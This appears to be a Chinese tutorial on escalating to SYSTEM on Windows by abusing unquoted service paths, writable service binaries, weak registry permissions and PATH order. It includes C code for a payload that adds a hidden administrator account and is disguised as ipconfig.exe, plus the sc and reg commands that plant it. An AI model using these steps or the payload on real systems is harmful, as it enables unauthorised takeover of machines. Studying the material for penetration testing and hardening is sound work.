Windows提权 —— 系统错误配置漏洞提权
系统错误配置漏洞提权
在Windows系统中,攻击者通常会通过系统内核溢出漏洞来提权,但是如果碰到无法通过系统内核溢出漏洞提权的情况时,可以利用系统中的错误配置漏洞来提权。系统服务配置总会有被忽视的地方,这些没有得到严格保护的系统服务,往往会被攻击者利用以提权。下面演示几种常见的Windows系统错误配置漏洞提权方法。
制作恶意程序添加管理员用户
C程序实现新建隐藏用户:
#include <stdlib.h>
int main()
{
int i;
int j;
i=system("net user aa$ 123456 /add");
j=system("net localgroup administrators aa$ /add");
return 0;
}
Kali编译:
#安装编译工具
apt install -y gcc-mingw-w64-i686 gcc-mingw-w64-x86-64 gdb-mingw-w64
#编译
i686-w64-mingw32-gcc user.c -o ipconfig.exe -mwindows
一、Trusted Service Paths漏洞(可信任服务路径漏洞)
Trusted Service Paths 漏洞是由系统中的“CreateProcess”函数引起的,并利用了windows文件路径解析的特性。该漏洞是由于一个服务的可执行文件没有正确的处理所引用的完整路径名,即一个服务的可执行文件的完整路径中含有空格且没有被双引号引起来,那么该服务就存在这个漏洞。
1. Windows中文件路径解析的特性
例如,有一个文件路径为“C:\Program Files\Some Folder\Service.exe”。那么,对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。如上面的目录为例,Windows会依次尝试确定和执行以下程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
可见,最后才确定并执行真正的程序Service.exe。而由于Windows服务通常是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以system系统权限进行,那么,如果我们将一个“适当命名”的可执行程序上传到以上所说的受影响的目录中,服务一旦启动或重启,该程序就会以system权限运行了,可见该漏洞利用了服务路径的文件/文件夹的权限。
2. 利用步骤
- 检测目标主机是否存在该漏洞
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows" |findstr/i /v """
- 如果存在该漏洞,检查对有漏洞目录是否有写入的权限。使用Windows内建工具icacls查看路径中受影响文件夹的权限,(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
icacls "C:/Program Files/"
- 如果对目录有完全访问权限(M),将利用程序Some.exe上传到“C:\Program Files\”目录下。然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行恶意程序,新增管理员用户。成功提权后记得修改回配置。
sc stop service_name
sc start service_name
二、系统服务权限配置错误
Windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。Metasploit集成了漏洞利用模块exploit/windows/local/service_permissions
。
Windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
1. 工具:AccessChk
借助AccessChk工具快速发现配置不当的服务。通过AccessChk可以了解特定用户或组对资源的访问权限,包括文件、目录、注册表项、全局对象和Windows服务。下载:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
常用命令如下:
查看用户/用户组对文件/文件夹的权限:accesschk "winnie" c:\windows\system32
列出所有服务的权限:accesschk -ucqv *
查看用户/用户组具有写权限的服务:accesschk "winnie" -cw *
要查看用户/用户组对HKEY——LOCAL_MACHINE\Software目录下注册表项的权限:accesschk -k "winnie" hklm\software
查看每个人都可以修改的全局对象:accesschk -wuo everyone \
2. 利用步骤
- 上传AccessChk,查看用户具有写权限的服务。注:当第一次执行时,当前会出现一个用户许可协议弹框,添加一个额外的参数“/accepteula”来避免弹窗。
accesschk winnie -cw * /accepteula
- 修改服务启动文件的路径。修改binpath为恶意程序的位置,注:“binpath=”后面有个空格。
sc config "服务名" binpath= "EXP位置"
- 服务启动后会执行恶意程序,新增管理员用户。成功提权后记得修改回配置。
三、不安全的注册表权限配置
在Windows中,和Windows服务有关的信息存储在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
注册表项中。如果我们对这一键值有写入权限就可以修改服务对应的程序路径,让系统以SYSTEM权限运行我们的程序,从而达到提权的目标。
1. 工具:SubInAcl
使用SubInACL工具去检查注册表项的权限。因为是msi安装文件,建议本地安装后找到 subinacl.exe 拷贝到目标机器上运行!!!
2. 利用步骤
以服务360rp为例,服务对应的程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\360rp\ImagePath
中。
- 检查对服务360rp是否有写入权限;
subinacl /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\360rp" /display
- 如果对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序;
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:\programdata\adduser.exe" /f
- 在下一次启动该服务时,adduser.exe将会以SYSTEM权限运行,添加管理员用户。成功提权后记得修改回配置。
四、PATH环境变量配置错误
PATH环境变量包含很多目录列表,某些执行程序的使用仅依赖PATH环境变量来确定为提供程序路径的位置。简单来说就是当前用户在cmd运行一个命令时,若没有使用绝对路径运行,会先在当前目录下寻找,没有找到,就会在PATH环境变量里的目录里依次寻找。
通常新增环境变量都是在最后面添加,但由于配置不当,导致在最前面新增了PATH环境变量,那么此目录下新建的与常用命令同名的exe程序会优先执行。
1. 利用步骤
- 查看当前目标系统的PATH环境变量;
wmic ENVIRONMENT where "name='path'" get UserName,VariableValue
- 发现
%SystemRoot%\system32
之前添加了其他环境变量。如果在这些目录任一目录中创建管理用户操作的恶意程序"ipconfig.exe",那么当管理用户使用"ipconfig"命令时,就会执行恶意程序。成功提权后记得修改回配置。